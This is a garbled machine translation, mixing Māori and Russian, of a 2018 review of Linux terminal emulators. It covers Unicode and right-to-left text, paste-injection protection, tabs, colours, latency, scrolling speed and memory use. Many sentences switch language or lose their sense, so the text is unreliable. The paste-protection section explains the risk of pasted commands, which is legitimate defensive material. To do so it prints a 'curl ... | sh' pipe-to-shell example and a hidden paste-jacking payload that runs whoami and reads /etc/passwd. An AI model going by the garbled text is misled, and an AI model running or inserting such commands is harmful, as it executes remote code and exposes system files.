Tirohanga o nga emulators kāpeka

He kupu iti mai i ta matou tari whakamaori: ko te nuinga o nga wa ka tohe te katoa ki te whakamaori i nga rauemi me nga whakaputanga hou, a ko matou anake. Engari ko nga waahi kaore he mea ka whakahoutia kotahi i te wiki. Na reira, kua whakamaoritia e matou mo koe tetahi tuhinga na Antoine Beaupré, i whakaputaina i te puna o te tau 2018: ahakoa te nui o te "tau" i runga i nga paerewa hou, ki ta matou whakaaro, kaore i ngaro te whai kiko o te rauemi. I tua atu, ko tenei i te tuatahi he raupapa o nga tuhinga e rua, engari i whakatau matou ki te whakakotahi i a raatau ki tetahi pou nui.

Tirohanga o nga emulators kāpeka

He waahi motuhake nga kopae i roto i te hitori rorohiko, engari i roto i nga tekau tau kua hori ake nei kua pehia ratou ki te ora i te taha o te raina whakahau i te mea ka huri haere nga atanga kauwhata ki nga waahi katoa. Emulators kāpeka i whakakapi i a raatau ake teina taputapu, ko te whakarereketanga o nga punaha i runga i nga kaari kua werohia me nga huringa takahuri. Ko nga tohatoha o naianei ka tae mai me nga momo emulator mutunga o nga ahua me nga tae katoa. A, ahakoa he tokomaha kei te pai ki te tauranga paerewa e whakaratohia ana e to raatau taiao mahi, ko etahi e whakahiihi ana ki te whakamahi i nga punaha tino rerekee hei whakahaere i o raatau anga, etita tuhinga ranei. Engari, ka kite tatou mai i tenei tuhinga, kaore nga pito katoa i hangaia i te ahua kotahi: he rereke te rereke o te mahi, te rahi me te mahi.

Ko etahi o nga pito he kohao haumarutanga tino miharo, me te nuinga he momo mahi rereke, mai i te tautoko mo te atanga ripa ki te tuhi tuhi. Ahakoa ko tatou рассмотрели эмуляторы терминалов в далеком прошлом, эта статья — обновление предыдущего материала, которое поможет читателям определить, каким терминалом пользоваться в 2018 году. В первой половине статьи сравниваются функции, а во второй оценивается производительность.

Anei nga pito i arotakehia e au:

Tirohanga o nga emulators kāpeka

Ehara pea enei i nga putanga hou, no te mea he iti noa ahau ki nga hanga pumau i te wa e tuhi ana, i taea e au te huri i runga i Debian 9, Fedora 27 ranei. Ko te mea anake ko Alacritty. He uri no nga kapeka whakatere GPU a kua tuhia ki te reo rerekee, hou hoki mo tenei mahi - Rust. I whakakorehia e au nga kapeka tukutuku mai i taku arotake (tae atu ki era kei runga Electron), na te mea i whakaatuhia e nga whakamatautau tuatahi o raatau mahi tino kino.

Tautoko Waehereao

Свои тесты я начал с поддержки юникода. Первым тестом терминалов было отображение оными строки о юникоде из Nga tuhinga Wikipedia: “é, Δ, И, ק, م, ๗, あ, 叶, 葉 me 말.” Ko tenei whakamatautau ngawari e whakaatu ana mena ka taea e te tauranga te mahi tika puta noa i te ao. xterm kāpeka e whakaatu pūāhua Arabic Paremata i roto i te whirihoranga taunoa:

Tirohanga o nga emulators kāpeka

Ma te taunoa, ka whakamahia e te xterm te momotuhi "whakatika", e ai ki ko Vicky tonu, "he nui te kapinga Unicode mai i te tau 1997". He mea kei roto i tenei momotuhi e puta ai te ahua hei anga putea, a ka piki ake te momotuhi kuputuhi ki te 20+ tohu ka timata te ahua ki te whakaatu tika. Heoi, ko tenei "whakatika" ka pakaru te whakaaturanga o etahi atu tohu Unicode:

Tirohanga o nga emulators kāpeka

I tangohia enei whakaahua i Fedora 27, na te mea he pai ake nga hua i te Debian 9, kaore e taea e etahi o nga waahanga tawhito o nga waahanga (me te mlterm) te whakahaere tika i nga momotuhi. Waimarie i whakatikahia tenei i nga waahanga o muri mai.

Теперь обратите внимание на отображение строки в xterm. Оказывается, символ Mem и следующий за ним Semitic qoph tirohia nga tuhinga momo RTL (matau-ki-maui), no reira me whakaatu mai i te matau ki te maui. Ko nga kaitirotiro paetukutuku penei i a Firefox 57 ka hapai tika i te rarangi o runga ake nei. Ko te putanga ngawari ake o te tuhinga RTL ko te kupu "Tuhinga" i te reo Hiperu (Whakapā). Te wharangi wiki mo nga tuhinga ahurua e kii ana enei e whai ake nei:

«Многие компьютерные программы не могут правильно отображать двунаправленный текст. Например, еврейское имя «Сара» состоит из символов син (ש) (который появляется справа), затем реш (ר) и, наконец, хе (ה) (который должен появляться слева)».

He maha nga pito ka hinga i tenei whakamatautau: Alacritty, VTE-ahua Gnome me XFCE terminals, urxvt, st me xterm whakaatu "Sara" i roto i te raupapa whakamuri, me te mea i tuhia e matou te ingoa ko "Aras".

Tirohanga o nga emulators kāpeka

Другая проблема двунаправленных текстов заключается в том, что их надо как-то выровнять, особенно если речь идет о смешении RTL и LTR-текстов. Сценарии RTL должны запускаться с правой стороны окна терминала, но что должно происходить для терминалов, по умолчанию работающих с LTR-английским? Большинство из них не обладают какими-то специальными механизмами и выравнивают весь текст по левому краю (в том числе, и в Konsole). Исключением являются pterm и mlterm, которые придерживаются стандартов и выравнивают такие строки по правому краю.

Tirohanga o nga emulators kāpeka

Parenga whakauru

Ko te waahanga nui e whai ake nei kua tautuhia e au ko te whakamarumaru anti-whakauru. Ahakoa e mohiotia nuitia ana ko nga tohu penei:

$ curl http://example.com/ | sh

he whakahau pana mahi waehere, he iti noa nga tangata e mohio ana ka kuhu nga whakahau huna ki roto i te papatohu i te kape me te whakapiri mai i te kaitirotiro paetukutuku, ahakoa i muri i te ata tirotiro. Проверочный сайт Джанна Хорна e whakaatu ana i te ahua kino o te whakahau:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

превращается при вставке с сайта Хорна в терминал вот в такую неприятность:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

Как это работает? Вредоносный код вынесен в блок , ka nekehia atu i te tirohanga a te kaiwhakamahi ma te whakamahi CSS.

Режим Bracketed paste kua tino hangaia hei whakakore i aua whakaeke. I tenei aratau, ka kohia e nga pito te kuputuhi kua whakapiri ki roto i nga raupapa mawhiti motuhake hei whakaatu i te anga mo te takenga mai o te tuhinga. Ka tohu tenei ki te anga ka taea e ia te wareware i nga tohu motuhake kei roto pea i te tuhinga whakapiri. Ko nga pito katoa e hoki ana ki te xterm whaimana e tautoko ana i tenei ahuatanga, engari ko te whakapiri i roto i te aratau Bracketed me tautoko mai i te anga, i te tono ranei e rere ana i runga i te tauranga. Hei tauira, te whakamahi rorohiko GNU Readline (he Bash ano), me whai konae ~/.whakaururc:

set enable-bracketed-paste on

Ko te mea pouri, ko te waahi whakamatautau a Horn e whakaatu ana me pehea te karo i tenei whakamarumaru ma te whakahōputu kuputuhi ake, ka mutu katahi ka hoatu te aratau Bracketed ki a ia. Ka whai hua tenei na te mea kaore etahi o nga kapeka e tarai tika i nga raupapa mawhiti i mua i te taapiri i a raatau ake. Hei tauira, i roto i taku kaore i taea e au te whakaoti angitu i nga whakamatautau Konsole ahakoa te whirihoranga tika .whakaururc kōnae. Ko te tikanga tenei ka taea e koe te whakakino i to whirihoranga punaha na te mea kaore i tautokona he anga he anga whirihora. He tino kino tenei ina uru ana koe ki roto i nga kaitoro mamao, he iti noa te mahi whirihoranga tupato, ina koa he maha nga miihini mamao penei.

Ko te otinga pai mo tenei raru ko te mono whakapumau whakapiri mo te tauranga urxvt, e tono ana i te whakaaetanga ki te whakauru i nga tuhinga kei roto nga rarangi hou. Kaore i kitea e au tetahi whiringa haumaru ake mo te whakaeke kupu i whakaahuahia e Horn.

Ripa me nga korero

Ko tetahi ahuatanga rongonui i naianei ko te tautoko mo te atanga ripanga, ka tautuhia e matou hei matapihi tauranga kotahi kei roto etahi atu waahanga. He rereke tenei mahi mo nga momo kapeka rereke, a ahakoa karekau e tautokohia nga ripa xterm tuku iho, he maha ake nga whakaurunga kapeka hou penei i te Xfce Terminal, GNOME Terminal me Konsole kei a raatau tenei mahi. Kei te tautoko hoki a Urxvt i nga ripa, engari mena ka whakamahi koe i te mono. Engari mo te tautoko ripa ake, ko Terminator te kaihautu kaore e tautohetohe: ehara i te mea e tautoko ana i nga ripa anake, engari ka taea hoki te whakarite i nga pito ki tetahi ota (tirohia te ahua o raro).

Tirohanga o nga emulators kāpeka

Ko tetahi atu ahuatanga o Terminator ko te kaha ki te "whakarōpū" i enei ripa me te tuku i nga patene kotahi ki nga kapeka maha i te wa kotahi, ka whakarato i tetahi taputapu kino mo te whakahaere i nga mahi nui i runga i nga kaitoro maha i te wa kotahi. Ka whakatinanahia ano he ahuatanga rite ki Konsole. Hei whakamahi i tenei ahuatanga ki etahi atu waahanga, me whakamahi koe i nga rorohiko tuatoru penei i Huihui SSH, xlax ranei tmux.

He pai te mahi o nga ripa ina honoa ki nga korero: hei tauira, ka taea e koe tetahi ripa mo te imeera, tetahi atu mo te korerorero, me era atu. He pai te tautoko e te Konsole Terminal me te GNOME Terminal. Ka whakaaetia e ia ripa ki te whakarewa aunoa i tana ake korero. Kei te tautoko ano a Terminator i nga korero, engari kaore au i kitea he huarahi ki te whakarewa aunoa i etahi papatono ina whakatuwhera koe i tetahi ripa motuhake. Ko etahi atu o nga pito kaore he kaupapa o te "kōtaha" katoa.

Ruffles

Ko te mea whakamutunga ka korerohia e au i te waahanga tuatahi o tenei tuhinga ko te ahua o nga pito. Hei tauira ko te GNOME, Xfce me te urxvt e tautoko ana i te maramatanga, engari no na tata tonu nei i heke ai te tautoko mo nga whakaahua papamuri, ka akiaki etahi kaiwhakamahi ki te huri ki te tauranga. Tilix. Ko ahau ake, kei te harikoa ahau me te ngawari Rauemi, который устанавливает базовый набор цветов фона для urxvt. Однако нестандартные цветовые темы могут создавать и проблемы. Например, Kua tohatoha kāore e mahi me nga tono htop и IPTraf, i te mea kua whakamahia e ratou o ratou ake tae.

tauranga VT100 taketake не поддерживал цвета, а новые зачастую ограничивались 256-цветной палитрой. Для опытных пользователей, которые стилизуют свои терминалы, запросы оболочки или строки состояния какими-то сложными способами, могут стать неприятным ограничением. Tuhinga nga ara e whai tautoko ana "Tae Pono" nga pito. Ka whakauhia e aku whakamatautau kei te tautoko pai nga st, Alacritty me VTE i te Tae Pono. Ko etahi atu waahanga kaore i te tino pai mo tenei kaupapa, a, me te mea, kaore e whakaatu i nga tae 256. Kei raro nei ka kite koe i te rereketanga o te tautoko Tae Pono i roto i nga waahanga GNOME, st me te xterm, he pai te mahi o tenei me o raatau 256 papatae tae, me te urxvt, e kore e taka noa i te whakamatautau, engari e whakaatu ana i etahi tohu kimomata hei utu mo ratou.

Tirohanga o nga emulators kāpeka

Некоторые терминалы также анализируют текст на наличие URL-шаблонов, чтобы сделать ссылки кликабельными. Это относится ко всем производным от VTE терминалам, тогда как urxvt требует специальный подключаемый модуль, который бы трансформировал URL-адреса по щелчку или с помощью сочетания клавиш. Другие протестированные мной терминалы отображают URL-адреса иными способами.

Ka mutu, ko te ahua hou i roto i nga pito ko te kowhiringa o te panuku panuku. Hei tauira, karekau he panuku panuku a st; e kiia ana ka whakamahi te kaiwhakamahi i te maha o nga momo kapeka penei i te tmux me te GNU Mata.

Kare hoki a Alacritty he putunga panuku, engari ka tāpirihia ākuanei tona tautoko na te "whakaaro nui" mo tenei kaupapa mai i nga kaiwhakamahi. I tua atu i enei timatanga, ko nga kapeka katoa i whakamatauria e au ka kitea e au he tautoko i te panuku whakamuri.

Tuatoru

I te waahanga tuarua o te rauemi (i roto i te taketake e rua enei tuhinga rereke - tata. ara) ka whakatairitehia e matou te mahi, te whakamahi mahara me te roa. Engari kua kite kee tatou ko etahi o nga tauranga e korerohia ana he tino hapa. Hei tauira, ko nga kaiwhakamahi e mahi ana i nga wa katoa me nga tuhinga RTL ka hiahia pea ki te whakaaro ki te mlterm me te pterm, i te mea he pai ake ratou ki te whakahaere i nga mahi rite i era atu. He pai hoki te mahi a Konsole. Ko nga kaiwhakamahi kaore i te mahi me nga tuhinga RTL ka taea te whiriwhiri i tetahi atu mea.

Mo te whakamarumaru ki te whakaurunga waehere kino, ka tu te urxvt na tana whakatinanatanga motuhake o te whakamarumaru ki tenei momo whakaeke, he ahua pai ki ahau. Mo te hunga e rapu ana i etahi pere me nga whiowhio, he pai te titiro a Konsole. Hei whakamutunga, me mahara ko VTE he turanga pai mo nga kapeka, e whakamana ana i te tautoko tae, te tohu URL, me era atu. I te titiro tuatahi, ko te tauranga taunoa ka tae mai me to taiao tino pai ka tutuki nga whakaritenga katoa, engari me waiho tenei patai kia marama ra ano tatou ki te mahi.

Продолжаем разговор


Вообще, производительность терминалов сама по себе может показаться надуманной проблемой, однако, как оказалось, некоторые из них демонстрируют удивительно большую задержку для ПО такого фундаментального типа. Также далее мы рассмотрим то, что традиционно называют «скоростью» (на самом деле, это скорость прокрутки) и потребление терминалом памяти (с оглядкой на то, что сегодня это не так критично, как десятилетия назад).

Te Tuarua

После тщательного исследования производительности терминалов я пришел к выводу, что важнейшим параметров в этом плане является размер задержки (пинг). В своей статье «Печатаем с удовольствием» I titiro a Pavel Fatin ki te roanga o nga momo kaiwhakatika tuhinga me te kii he puhoi ake pea nga waahanga mo tenei kaupapa i nga kaiwhakatika tuhinga tere. Na tenei tohu i arahi i ahau ki te whakahaere i aku ake whakamatautau me te tuhi i tenei tuhinga.

Engari he aha te torohū, a he aha te mea nui? I roto i tana tuhinga, i kii a Fatin ko "te whakaroa i waenga i te pehi i te taviri me te whakahou mata e rite ana" me te whakahua. "He Aratohu mo te Whakawhitiwhiti Tangata-Rorohiko", e kii ana: "Ko te roa o nga urupare ataata i runga i te whakaaturanga rorohiko he paanga nui ki te whanonga me te pai o te kaituhi."

Te faataa ra o Fatin e mea hohonu a‘e te mau faahopearaa o teie ping i te mauruuru-noa-raa: “e mea poihere roa te pato‘iraa, e rahi atu â te mau hape, e e rahi atu â te peapea o te mata e te uaua.” I etahi atu kupu, he roa te roa ka arahi ki te hapa me te iti ake o te kounga o te waehere, na te mea ka nui ake te taumahatanga o te roro. Engari ko te mea kino ko te ping "ka whakanui ake i nga kanohi me nga uaua," e kii ana te whakawhanaketanga o nga whara mahi a meake nei (по всей видимости, автор имеет в виду проблемы с мышцами глаз, спиной, руками и, конечно же, зрением, — прим. пер.) nā te ahotea tukurua.

Ko etahi o enei paanga kua mohiotia mo te wa roa, me nga hua rangahau, i whakaputaina i te tau 1976 i roto i te pukapuka Ergonomics, i kii ko te whakaroa o te 100 milliseconds "ka tino whakararu i te tere pato." No tata nei, i whakauruhia te Aratohu Kaiwhakamahi GNOME te wa whakautu pai i roto i te 10 mitamano hēkona, a, ki te haere atu koe, katahi Rapu Microsoft e whakaatu ana he pai te 1 mirihakona.

Фатин проводил свои тесты на текстовых редакторах; он создал портативный инструмент под названием Typometer, i whakamahia e ahau ki te whakamatautau i te ping i roto i nga emulators kāpeka. Kia maumahara ko te whakamatautau i whakahaerehia i roto i te aratau whaihanga: i roto i te meka, me whai whakaaro tatou ki nga whakaurunga e rua (papapātuhi, USB kaiwhakahaere, me etahi atu) me te whakaputa (kaari ataata papaaata, aroturuki) torohūtanga. E ai ki a Fatin, i roto i nga whirihoranga angamaheni ko te 20 ms. Mena kei a koe nga taputapu petipeti, ka taea e koe te whakatutuki i tenei whika i roto noa i te 3 manomano. I te mea kei a maatau nga taputapu tere, karekau te tono ki te taapiri i tana ake noho. Ko te whainga a Fatin ko te kawe i te torohūtanga o te tono ki te 1 mitamano hēkona, ki te whakatutuki waea kore ranei whakaroa inerite i roto i IntelliJ IDEA 15.

А вот результаты моих измерений, а также некоторые результаты Фатина для того, чтобы показать, что мой эксперимент согласуется с его тестами:

Tirohanga o nga emulators kāpeka

Ko te mea tuatahi i pa ki ahau ko te wa whakautu pai ake o nga kaupapa tawhito penei i te xterm me te mlterm. Na te rehitatanga kino rawa atu (2,4 ms), he pai ake ta ratou mahi i te tauranga tere tere (10,6 ms mo te st). Karekau he tauranga hou e taka ki raro i te paepae 10 mirimitapa. Ina koa, kare a Alacritty e tutuki i te kereme "emulator terminal tere e waatea ana", ahakoa kua pai ake ona kaute mai i tana arotake tuatahi i te tau 2017. Ae, ko nga kaituhi o te kaupapa в курсе ситуации kei te mahi ki te whakapai ake i te whakaaturanga. Me mahara ano ko Vim e whakamahi ana i te GTK3 he raupapa o te rahinga puhoi ake i tana hoa GTK2. Mai i tenei ka taea e taatau te whakatau ka hangaia e te GTK3 etahi atu taapiri, a ka kitea tenei i roto i era atu pito katoa e whakamahi ana (Terminator, Xfce4 Terminal me GNOME Terminal).

Heoi ano, kaore pea nga rereketanga e kitea e te kanohi. Ka rite ki ta Fatin e whakamarama ana, "kaore koe e mohio mo te wa roa ka pa ki a koe." Ka whakatupato ano a Fatin mo te ine rerekee: "Ko nga raruraru i roto i te torohūtanga (jitter) ka nui ake te ahotea na runga i to raatau ohorere."

Tirohanga o nga emulators kāpeka

Ko te kauwhata o runga ka mau ki te Debian 9 parakore (toro) me i3 kaiwhakahaere matapihi. Ko tenei taiao e whakaputa ana i nga hua pai rawa atu i roto i nga whakamatautau roa. I te mea ka puta, ka hangaia e te GNOME he ping taapiri mo te 20 ms mo nga inenga katoa. Ko te whakamaramatanga pea mo tenei ko te noho o nga hotaka me te tukatuka tukutahi o nga huihuinga whakauru. He tauira a Fatin mo tera keehi Mahi kaimahi, ka taapiri i te whakaroa ma te tukatuka i nga takahanga whakauru katoa i te wa kotahi. Ma te taunoa, ka tae mai ano a GNOME me te kaiwhakahaere matapihi Mutter, ka hangaia he paparanga taapiri, ka pa ki te ping me te taapiri i te 8 milliseconds o te roanga.

Tirohanga o nga emulators kāpeka

Te tere panuku

Ko te whakamatautau e whai ake nei ko te whakamatautau "tere" me te "bandwidth" tuku iho, e ine ana i te tere ka taea e te tauranga te panuku i te wharangi i te wa e whakaatu ana i nga tuhinga maha ki te mata. He rereke nga miihini o te whakamatautau; Ko te whakamatautau tuatahi ko te whakaputa noa i te aho kuputuhi kotahi ma te whakamahi i te whakahau seq. Ko etahi atu whakamatautau ko te whakamatautau a Thomas E. Dickey (xterm maintainer), he maha nga wa kua tikiakehia te kōnae terminfo.src. I tetahi atu arotake o te mahi mutunga Ден Луу ka whakamahi i te aho kua whakawaeheretia o nga paita matapōkere, ka puta ki te tauranga ma te whakamahi ngeru. Ki te whakaaro a Luu he "whakamatautau koretake ka taea e te tangata te whakaaro" me te kii ki te whakamahi i te whakautu mutunga hei inenga tuatahi. Ka kii ano a Dickey he pohehe tana whakamatautau. Heoi, e whakaae ana nga kaituhi e rua ka taea e te bandwidth matapihi kati he take. I kite a Luu i te Emacs Eshell e whakatio ana i te wa e whakaatu ana i nga konae nui, a, i arotau a Dickey i te tauranga ki te whakakore i te puhoi o xtrerm. No reira he pai tonu tenei whakamatautau, engari na te mea he rereke te mahi whakaputa mai i te tauranga ki te tauranga, ka taea hoki te whakamahi hei waahanga whakamatautau hei whakamatautau i etahi atu tawhā.

Tirohanga o nga emulators kāpeka

I konei ka kite tatou i te rxvt me te st pull i mua i te whakataetae, whai muri ko te Alacritty tino hou ake, i hangaia me te aro ki te mahi. Whai muri ko Xfce (whānau VTE) me Konsole, he tata ki te rua te tere. Ko te whakamutunga ko te xterm, e rima nga wa puhoi ake i te rxvt. I te wa o te whakamatautau, he nui ano te riipene a xterm, he uaua ki te kite i nga kupu whakawhiti ahakoa he rite tonu te rarangi. He tere te Konsole, engari he uaua i etahi wa: ka whakatio te whakaaturanga i ia wa, i ia wa, ka whakaatu i te waahanga tuhinga, kaore ranei e whakaatu. Ko etahi atu pito i whakaatu marama i nga aho, tae atu ki te st, Alacritty, me te rxvt.

Дики объясняет, что различия в производительности связаны с дизайном буферов прокрутки в разных терминалах. В частности, он обвиняет rxvt и другие терминалы в том, что они «не следуют общим правилам»:

"Kaore i rite ki te xterm, kaore a rxvt i ngana ki te whakaatu i nga whakahoutanga katoa. Mena ka taka ki muri, ka kore e whakaae ki etahi whakahou kia mau. He nui ake te paanga o tenei ki runga i te tere o te panuku atu i te whakahaere mahara o roto. Ko tetahi raru ko te ahua o te hākoritanga ASCII kaore i tino tika."

Hei whakatika i te ahua o te ahua o te puhoi xterm, ka whakaaro a Dickey ki te whakamahi i te rauemi terePanuku, позволяющий xterm отбрасывать некоторые обновления экрана, чтобы не отставать от потока. Мои тесты подтверждают, что fastScroll повышает производительность и выводит xterm на один уровень с rxvt. Это, однако, довольно грубый костыль, как объясняет сам Дики: «иногда xterm — как и konsole — кажется, останавливается, так как он ожидает нового набора обновлений экрана после того, как некоторые из них были удалены». В этом ключе кажется, что другие терминалы нашли наилучший компромисс между скоростью и целостностью дисплея.

Te whakamahi rauemi

Ahakoa he mea tika ki te whakaaro i te tere panuku hei inenga mahi, ma tenei whakamatautau ka taea e tatou te whakataurite i te uta i runga i nga kapeka, ka taea e tatou te ine i etahi atu tawhā penei i te mahara, te whakamahi kōpae ranei. I whiwhihia nga inenga ma te whakahaere i te whakamatautau kua tohua tuarua i raro i te aroturuki tukanga Python. I kohia e ia nga raraunga mita getrusage() ki ru_maxrss, moni ru_oublock и ru_inblock и простой таймер времени.

Tirohanga o nga emulators kāpeka

I roto i tenei whakamatautau, ko te ST te waahi tuatahi me te iti rawa o te kohinga mahara o te 8 MB, ehara i te mea miharo ki te whakaaro ko te whakaaro nui o te hoahoa he ngawari. Ko te mlterm, te xterm me te rxvt he iti ake te kai - tata ki te 12 MB. Ko tetahi atu hua rongonui ko Alacritty, me 30 MB kia rere. Na kei reira nga pito o te whanau VTE me nga whika mai i te 40 ki te 60 MB, he tino nui. Ka taea te whakamarama i tenei kohi na te mea ka whakamahia e enei waahanga nga whare pukapuka taumata teitei, hei tauira, GTK. Ka tae mai a Konsole me te 65MB nui o te kohi mahara i nga wa o nga whakamatautau, ahakoa ka taea tenei ma te whanui o nga ahuatanga.

Ka whakatauritea ki nga hua o mua i puta i te tekau tau ki muri, ka tiimata nga kaupapa katoa ki te pau te mahara. I whakamahia e Xterm te 4 MB, engari inaianei me 15 MB i te tiimata noa. He rite te pikinga o te kai mo te rxvt, e hiahia ana inaianei ki te 16 MB mai i te pouaka. Ko te Xfce Terminal te 34 MB, e toru nga wa nui ake i te waa o mua, engari ko te GNOME Terminal me 20 MB anake. Ko te tikanga, ko nga whakamatautau katoa o mua i mahia i runga i te hoahoanga 32-bit. I LCA 2012 Rusty Russell Ka korerotia, he maha atu nga take ngawari ka taea te whakamarama i te pikinga o te kai mahara. I runga i tera korero, kei te noho tatou inaianei i te wa e whai mahara ana tatou kikipaita, no reira ka taea e tatou te whakahaere.

Heoi, kare e taea e au te whakaaro ko te toha atu o nga mahara ki tetahi mea tino nui penei i te tauranga he moumou rauemi. Ko enei kaupapa ko te iti rawa o nga mea iti rawa, me kaha ki te whakahaere i runga i tetahi "pouaka", ahakoa he pouaka hu, mena ka tae mai tatou ki te waahi e tika ana kia whakauruhia ki nga punaha Linux (a ka mohio koe ka pena. ). Engari ma enei nama, ka waiho te whakamahinga mahara hei take a muri ake nei i roto i tetahi taiao e whakahaere ana i nga kapeka maha atu i etahi o nga mea maamaa me te iti rawa o te kaha. Hei utu mo tenei, ko te GNOME Terminal, Konsole, urxvt, Terminator me te Xfce Terminal he aratau Daemon e taea ai e koe te whakahaere i nga pito maha i roto i te mahi kotahi, me te whakaiti i o raatau mahara.

Tirohanga o nga emulators kāpeka

I nga wa o aku whakamatautau, ka tae mai ahau ki tetahi atu hua ohorere e pa ana ki te panui-tuhi kōpae: I tumanako ahau kaore au e kite i tetahi mea i konei, engari ka puta mai ko etahi o nga pito ka tuhi i nga raraunga tino nui ki te kōpae. Na, ko te whare pukapuka VTE kei te pupuri i tetahi panuku panuku i runga i te kōpae (tenei ahuatanga i kitea i te tau 2010, a kei te haere tonu tenei). Engari kaore i rite ki nga whakatinanatanga tawhito, inaianei kua whakamunatia enei raraunga ma te whakamahi i te AES256 GCM (mai i te putanga 0.39.2). Engari ka puta ake he patai whaitake: he aha te mea motuhake mo te whare pukapuka VTE e hiahiatia ana he huarahi kore-paerewa mo te whakatinanatanga...

mutunga

I te waahanga tuatahi o te tuhinga, i kitea e matou he pai nga waahanga o nga waahanga VTE, engari inaianei ka kite matou ka tae mai tenei me etahi utu mahi. Inaianei ehara te mahara i te take na te mea ka taea te whakahaere i nga kapeka VTE katoa na roto i te tukanga Daemon, e whakaiti ana i te hiahia. Heoi, ko nga punaha tawhito he herenga tinana mo te rahinga o te RAM me nga kaarai buffers ka hiahia tonu ki nga putanga o mua o nga kapeka, na te mea he iti rawa nga rauemi e pau ana. Ahakoa he pai te mahi a nga kapeka VTE i roto i nga whakamatautau puta (panuku), kei runga ake o raatau whakaaturanga i te paepae kua whakaritea i roto i te Aratohu Kaiwhakamahi GNOME. Me whai whakaaro pea nga kaiwhakawhanake VTE ki tenei. Mena ka whai whakaaro tatou ahakoa mo nga kaiwhakamahi Linux tauhou e pa ana ki tetahi tauranga kaore e taea te karo, ka taea e raatau te pai ake ki te kaiwhakamahi. Mo nga tohunga mohio, ko te huri mai i te tauranga taunoa ka iti ake te riu o te kanohi me te kaha ki te karo i nga whara me nga mate e pa ana ki te mahi a muri ake nei na te roa o nga wa mahi. Engari, ko te xterm tawhito me te mlterm anake e kawe mai ki te paepae ping makutu o te 10 milliseconds, kaore e whakaaetia mo te tini.

I whakaatuhia ano e nga inenga tohu na te whanaketanga o nga taiao whakairoiro Linux, he maha nga whakatau a nga kaihanga. Ko etahi o nga kaiwhakamahi ka hiahia ki te titiro ki nga kaiwhakahaere matapihi i te wa e whakarato ana ratou i te whakahekenga ping nui. Heoi ano, kaore i taea te ine i te roanga mo Wayland: ko te kaupapa Typometer i whakamahia e au i hangaia mo te aha a Wayland i hoahoa hei aukati: te tutei i etahi atu matapihi. Kei te tumanako ahau he pai ake te mahi tito a Wayland i a X.org, me te tumanako hoki a muri ake nei ka kitea e te tangata he huarahi ki te ine i te roanga o tenei taiao.

Source: will.com

Tāpiri i te kōrero